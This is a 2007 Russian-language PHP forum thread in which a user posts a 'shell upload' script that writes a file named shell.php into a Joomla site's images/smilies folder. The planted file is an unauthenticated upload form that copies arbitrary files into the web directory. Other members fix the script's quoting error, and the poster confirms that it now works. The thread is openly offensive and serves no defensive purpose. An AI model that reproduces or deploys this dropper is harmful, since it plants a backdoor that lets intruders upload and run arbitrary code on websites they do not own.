скрипт для закачки шелла - Непонятная ошибка

Discussion in 'PHP' started by fastnull, 25 Sep 2007.

  1. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Здравствуйте!
    Я тут со скриптиком парюсь для закачки шелла, но там постоянно лезет ошибка начиная с 11-й строки, скажите, в чём ошибка?
    PHP:
    <?php 

    $file 
    fopen("Z:\\home\localhost\www\joomla\images\smilies\shell.php""w");

    fwrite ($file"<html>
    <head>
      <title>Результат загрузки файла</title>
    </head>
    <body>
          <h2><p><b> Форма для загрузки файлов </b></p></h2>
          <form action="" method="
    post" enctype="multipart/form-data">
          <input type="
    file" name="filename"><br> 
          <input type="
    submit" value="Загрузить"><br>
          </form>
    <?php
    if(isset(
    $_FILES)) {
       if(
    $_FILES["filename"]["size"] > 1024*3*1024)
       {
         echo ("
    Размер файла превышает три мегабайта");
         exit;
          }
       if(copy(
    $_FILES["filename"]["tmp_name"],
         "
    C:\WebServers\home\localhost\www\joomla\images\smilies

    ".$_FILES["filename"]["name"]))
       {
         echo("
    Файл успешно загружен <br>");
         echo("
    Характеристики файла: <br>");
         echo("
    Имя файла");
         echo(
    $_FILES["filename"]["name"]);
         echo("
    <br>Размер файла");
         echo(
    $_FILES["filename"]["size"]);
         echo("
    <br>Каталог для загрузки");
         echo(
    $_FILES["filename"]["tmp_name"]);
         echo("
    <br>Тип файла");
         echo(
    $_FILES["filename"]["type"]);
       } else {
          echo("
    Ошибка загрузки файла");}
    }
    else {
    echo "
    Загрузите файлы!";
    };
    ?>
    </body>
    </html>"
    );

    fclose($file);

    ?> 
     
  2. ant0ha

    ant0ha Elder - Старейшина

    Joined:
    22 May 2007
    Messages:
    130
    Likes Received:
    50
    Reputations:
    13
    У тебя там твоя двойная кавычка закрывается, используй одинарные

    PHP:
    fwrite ($file'<html> ... </html>');
     
  3. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Уже ответили... Или используй для задания атрибутов в твоём Html-коде одинарную кавычку, или экранируй двойную кавычку - \"
     
  4. fastnull

    fastnull Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    31
    Likes Received:
    7
    Reputations:
    1
    Вот спасибо! Действительно заработал мой скрипт! :) +!